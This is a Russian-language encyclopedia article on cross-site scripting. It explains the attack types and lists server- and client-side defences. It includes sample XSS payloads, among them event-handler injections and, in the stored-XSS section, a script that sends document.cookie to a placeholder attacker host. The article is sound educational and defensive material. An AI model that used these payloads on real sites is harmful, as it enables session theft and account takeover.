Русская Википедия:Межсайтовый скриптинг

Материал из Онлайн справочника
Перейти к навигацииПерейти к поиску

XSS (Шаблон:Lang-en — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода».

Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя[1].

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующими сокращение «CSS».

XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений, согласно OWASP 2021[2]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для проведения DoS-атакиШаблон:Sfn.

Справочная информация

Безопасность в Интернете обеспечивается с помощью многих механизмов, в том числе важной концепцией, известной как правило ограничения домена. Это правило разрешает сценариям, находящимся на страницах одного сайта (https://mybank.example.com), доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (https://othersite.example.com)Шаблон:Недоступная ссылка[3].

Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящихся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.

Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен JavaScript-код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к JavaScript языков (например, ActiveX, Java, VBScript, Flash и даже HTML), создавая путаницу среди новичков в сфере информационной безопасности.[4]

Атаки с использованием XSS библиотеке React JS во многом предотвращены, так как там всё преобразуется в строчки, перед тем как быть отрендеренным. Это гарантирует, что никто никогда не внедрит чего-либо, что не было явно написано JS-разработчиком в web приложении.

XSS уязвимости зарегистрированы и используются с середины 1990-x годовШаблон:Sfn. Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей, как Twitter[5], ВКонтакте[6], MySpace[7], YouTube[8], Facebook[9] и др.

Классификация

Не существует чёткой классификации межсайтового скриптинга. Но большинство экспертов различает по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2»).

По вектору

Шаблон:Основной источник

Отражённые (непостоянные)

Атака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакойШаблон:Sfn. Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента без надлежащей обработки[10]. Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Пример: 

http://example.com/search.php?q=<script>DoSomething();</script>

Если сайт не экранирует угловые скобки, преобразуя их в «&lt;» и «&gt;», получим скрипт на странице результатов поиска.

Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим для вектора XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.

Хранимые (постоянные)

Хранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.

Фрагмент кода похищения ключа с идентификатором сессии (session ID): 

<script>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</script>

DOM-модели

XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript-сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.

Пример: 

<body>
<script>document.write(location.href);</script>
</body>

Пример DOM-модели XSS — баг, найденный в 2011 году в нескольких JQuery-плагинах[11]. Методы предотвращения DOM-модели XSS включают меры, характерные для традиционных XSS, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки[12]. Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например, AngularJS[13].

По каналам внедрения скрипта

Шаблон:Основной источник

Ошибки в браузере

Шаблон:Врезка Из-за ошибок браузер может выполнять скрипты в SVG, нарушать правило Same Domain Policy. Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0: форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.

Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.

Отсутствие экранирования спецсимволов HTML

Шаблон:Врезка Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тег HTML, требуется заэкранировать пять символов: '"&<>. Сервер может экранировать не все символы (известный недостаток PHP[14]), либо веб-программист просто забывает заэкранировать строку.

Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие http://example.com/img.png" onmouseover="javascript:DoSomething();.

Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки (HTML, BBCode, вики-разметка). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений[15]. Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах

Типичным примером будет ссылка <a href="javascript:DoSomething()">. Даже если форум позволяет внешние ссылки, не стоит пускать протоколы javascript: и data:.

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Подмена кодировки в заголовке страницы

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title> расположен до тега <meta> и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ". Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной.[16]

Через внедрение SQL-кода

Шаблон:Main Если сайт и допускает внедрение SQL-кода, и выводит содержимое БД без всякого экранирования (то ли по незнанию, то ли в БД хранится готовый HTML-код,[17] то ли автор точно знает, что «плохих» символов в БД нет), можно провести необычную атаку.

Внедрением SQL-кода записываем в БД «отравленную» страницу. Если кто-то получит доступ к этой строке БД, ему в браузер попадёт вредоносный скрипт. Бывают атаки и без хранения HTML в БД — СУБД вместо хранящегося в БД поля вернёт тот скрипт, который записан в тексте запроса.

По способу воздействия

Шаблон:Основной источник

Активные

Активная XSS атака не требует каких-либо действий со стороны пользователя с точки зрения функционала веб-приложения.

Пример:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

В данном примере показано поле ввода, у которого установлен обработчик события появления фокуса, выполняющий собственно код атаки, а также у данного поля ввода активировано свойство автоматической установки фокуса. Таким образом автоматически устанавливается фокус, что вызывает обработчик установки фокуса, содержащий код атаки. Атака является активной и выполняется автоматически, не требуя от пользователя никакой активности.

Пассивные (автономные)

Пассивная XSS-атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т. п.).

Пример:

<a href='a' onmouseover=alert(1337) style='font-size:500px'>

Пример показывает гиперссылку, особым образом привлекающую внимание пользователя, и/или занимающее значительное место, повышающее вероятность наведения указателя мыши, в данном случае крупным шрифтом. У гиперссылки установлен обработчик события наведения указателя мыши, содержащий код атаки. Атака является пассивной, так как бездействует, а код атаки не выполняется в ожидании наведения указателя мыши на ссылку пользователем.

Средства защиты

Шаблон:Основной источник

Защита на стороне сервера

  • Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL)[18], htmlentities (для фильтрации HTML)[19].
  • Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project[20], HTML Purifier, htmLawed, Anti-XSS Class.
  • Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
  • Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей[21].
  • Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly[22], использованием SSL[23].
  • Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита на стороне клиента

  • Регулярное обновление браузера до новой версии[24].
  • Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Chrome и Opera.

См. также

Примечания

Шаблон:Примечания

Литература

Ссылки

Шаблон:Добротная статья

Партнерские ресурсы
Криптовалюты
Магазины
Хостинг
Разное

  1. ↑ Шаблон:СтатьяШаблон:Недоступная ссылка
  2. ↑ Шаблон:Cite web
  3. ↑ Шаблон:Cite web
  4. ↑ Шаблон:Cite webШаблон:Ref-en
  5. ↑ Шаблон:Cite web
  6. ↑ Шаблон:Cite web
  7. ↑ Шаблон:Cite web
  8. ↑ Шаблон:Cite web
  9. ↑ Шаблон:Cite web
  10. ↑ Шаблон:Cite web
  11. ↑ Шаблон:Cite web
  12. ↑ Шаблон:Cite web
  13. ↑ Шаблон:Cite web
  14. ↑ Стандартная функция PHP htmlspecialchars по умолчанию не экранирует апостроф, и в сочетании с кодом "<a href='$htUrl'>" получается уязвимость.
  15. ↑ Шаблон:Cite web
  16. ↑ Шаблон:Cite web
  17. ↑ Например, движок MediaWiki кэширует HTML-код страниц.
  18. ↑ Шаблон:Cite web
  19. ↑ Шаблон:Cite web
  20. ↑ Шаблон:Cite web
  21. ↑ Шаблон:Статья
  22. ↑ Шаблон:Cite web
  23. ↑ Шаблон:Статья
  24. ↑ Ошибка цитирования Неверный тег <ref>; для сносок browser не указан текст
Источник — http://wikihandbk.com/ruwiki/index.php?title=Русская_Википедия:Межсайтовый_скриптинг&oldid=10362651